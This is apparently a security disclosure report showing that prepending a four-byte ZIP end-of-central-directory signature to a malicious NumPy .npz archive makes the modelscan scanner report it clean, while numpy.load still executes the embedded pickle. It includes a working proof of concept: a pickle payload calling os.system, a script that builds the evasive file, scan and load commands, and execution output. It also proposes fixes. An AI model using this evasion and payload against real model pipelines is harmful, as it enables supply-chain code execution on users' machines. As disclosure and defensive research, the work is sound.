Views
No views yet
.npz container-magic desync — malicious NpzFile with leading PK\x05\x06 (EOCD) bypasses scanning while numpy.load executes the member picklemodelscan (Protect AI) — https://github.com/protectai/modelscan
Version tested: modelscan==0.8.8 (latest), numpy==1.26.4, Python 3.12.13
Class: Scanner bypass / detection evasion → arbitrary code execution on np.load(..., allow_pickle=True)
Severity: High (a file modelscan reports as clean executes attacker-controlled os.system when a downstream consumer loads it with NumPy).npz archives by recursing into them as ZIP containers. That recursion is
gated by a stricter-than-standard ZIP detector (_is_zipfile) inherited from torch, which
returns True only when the file's first 4 bytes are exactly the ZIP local-file-header
magic PK\x03\x04.numpy.load, by contrast, routes a file into NpzFile when the leading bytes match either
the local-header prefix PK\x03\x04 or the End-Of-Central-Directory / empty-archive
signature PK\x05\x06. Python's zipfile then tolerates a prepended prefix (it finds the EOCD
by scanning backward from EOF and compensates member offsets accordingly).PK\x05\x06 to an otherwise ordinary malicious .npz therefore
creates a file that:_iterate_models does continue, never opens the archive,
never hands any member to the NumPy scanner. The .npz container itself has no assigned
format (settings maps only .npy→NUMPY), so it is merely recorded as a benign
SCAN_NOT_SUPPORTED skip → "No issues found! 🎉", 0 issues, 0 errors, 0 scanned.zipfile parses it (prefix handled) →
np.load(...)['config'] read_arrays the object-dtype member and runs pickle.load →
the embedded os.system reduce fires → code execution.zipfile.ZipFile(...).testzip() returns None..npz has no top-level format — the only way it gets scanned is ZIP recursionmodelscan/settings.py:1NUMPY = Property("NUMPY", "numpy")
2...
3"supported_zip_extensions": [".zip", ".npz"], # .npz treated as a zip container...
4...
5SupportedModelFormats.NUMPY: [".npy"], # ...but NUMPY format maps ONLY to .npy.npz is never assigned the NUMPY format. The only path to scanning its members
is the ZIP recursion in _iterate_models._is_zipfilemodelscan/modelscan.py (_iterate_models):1if not _is_zipfile(file, model.get_stream()):
2 continue # <-- not "a zip" => skip entirely, never recurse
3try:
4 with zipfile.ZipFile(model.get_stream(), "r") as zip:
5 ..._is_zipfile only accepts an exact PK\x03\x04 prefixmodelscan/tools/utils.py:1def _is_zipfile(source, data=None) -> bool:
2 # This is a stricter implementation than zipfile.is_zipfile().
3 ...
4 read_bytes = [] # reads first 4 bytes
5 ...
6 local_header_magic_number = [b"P", b"K", b"\x03", b"\x04"]
7 return read_bytes == local_header_magic_numberPK\x05\x06, read_bytes == [b'P', b'K', b'\x05', b'\x06'] != [b'P',b'K',b'\x03',b'\x04']
→ returns False → continue → the archive is never opened.numpy/lib/npyio.py (np.load) accepts either zip signature:1_ZIP_PREFIX = b'PK\x03\x04'
2_ZIP_SUFFIX = b'PK\x05\x06' # empty-archive / EOCD marker
3...
4if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
5 # -> NpzFile -> zipfile.ZipFile (tolerates the 4-byte prefix) -> read_array -> pickle.load_is_zipfile is too strict and routes a genuinely-malicious zip
away from scanning; numpy's loader is more lenient and executes it. A 4-byte prefix
flips a CRITICAL detection to a silent clean pass.1import numpy as np, os
2class Evil:
3 def __reduce__(self):
4 return (os.system, ("echo PWNED_NPZ_SUFFIX > proof.txt",))
5
6# 1) Ordinary malicious npz: object-array member 'config.npy', first bytes PK\x03\x04
7np.savez('malicious.npz', config=np.array([Evil()], dtype=object))
8
9# 2) Prepend the 4-byte EOCD signature PK\x05\x06 -> first 4 bytes become PK\x05\x06
10open('pre_pk0506.npz', 'wb').write(b'PK\x05\x06' + open('malicious.npz', 'rb').read())malicious.npz — normal, member config.npy, first 8 bytes PK\x03\x04-\x00\x00\x00.pre_pk0506.npz — same content with a 4-byte PK\x05\x06 prefix; still a valid zip
(zipfile.ZipFile('pre_pk0506.npz').testzip() → None).1modelscan -p malicious.npz # CONTROL -> Total Issues: 1 (CRITICAL)
2modelscan -p pre_pk0506.npz # BYPASS -> No issues found! 🎉 (0 issues / 0 scanned)
3python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']" # -> executesmalicious.npz, pre_pk0506.npz, out.json (bypass JSON report),
reverify/ (independent re-verification with a different trigger/member name).malicious first8 b'PK\x03\x04-\x00\x00\x00'
pre_pk0506 first8 b'PK\x05\x06PK\x03\x04'
_is_zipfile malicious True
_is_zipfile pre_pk0506 False
zipfile testzip pre_pk0506 None # <-- archive is fully valid$ modelscan -p malicious.npz
Scanning .../malicious.npz:config.npy using modelscan.scanners.NumpyUnsafeOpScan model scan
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
- Source: .../malicious.npz:config.npy$ modelscan -p pre_pk0506.npz
No issues found! 🎉
Total skipped: 1 - run with --show-skipped to see the full list.
$ modelscan -p pre_pk0506.npz -r json -o out.json
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
"total_issues": 0, "input_path": "pre_pk0506.npz", "modelscan_version": "0.8.8",
"scanned": {"total_scanned": 0}}, "issues": [], "errors": []}$ python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']"
$ cat proof.txt
PWNED_NPZ_SUFFIX <-- attacker command executedid, member renamed w, separate load process)evil.npz first4 b'PK\x05\x06'
$ modelscan -p evil.npz
No issues found! 🎉
Total skipped: 1
$ python -c "import numpy as np; np.load('evil.npz', allow_pickle=True)['w']"
$ cat INDEP_PROOF.txt
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),... <-- executed under modelscan-CLEAN filemodelscan as a gate before loading NumPy archives (a common
"scan-then-load" model-supply-chain pattern) can be defeated by a 4-byte prefix. The scanned
artifact reports zero issues yet runs arbitrary attacker code the moment a consumer calls
np.load(path, allow_pickle=True) (or any loader that resolves an object-dtype .npz member).
No member renaming, no header manipulation, no special filename — the legitimate member name
config.npy is preserved; only the container's leading 4 bytes change..npz directly (scan .npz as a NumPy archive regardless of the
ZIP-recursion gate), or_is_zipfile for archive scanning to accept the PK\x05\x06 (and PK\x07\x08) leading
signatures, or fall back to zipfile.is_zipfile() / an EOCD-based check so the recursion gate
matches what real ZIP/NumPy loaders accept, andzipfile can open but that _is_zipfile rejected as an error/warning rather
than a silent skip, so a container that "can't be a zip" but is loadable as one is surfaced..npy oversized-header (max_header_size) divergence — no header-size trick here..npy).
Here the member keeps its legitimate name (config.npy / w) and modelscan is defeated one
layer earlier, at the container-level ZIP-recursion gate, before any member is enumerated.is_zipfile being too lenient to route a pickle into a memberless zip scanner
(and explicitly note modelscan is robust to that). Here modelscan's _is_zipfile is too strict
and routes a genuinely-malicious zip away from scanning, while the more-lenient numpy loader
executes it.numpy==1.26.4 so modelscan's NumPy scanner is functional
and the CONTROL genuinely flags the plain file. On numpy>=2.4 modelscan's scan_numpy is
separately broken (removal of numpy.lib.format._check_version), which independently yields
0 issues — that is a different defect and is not what this report relies on.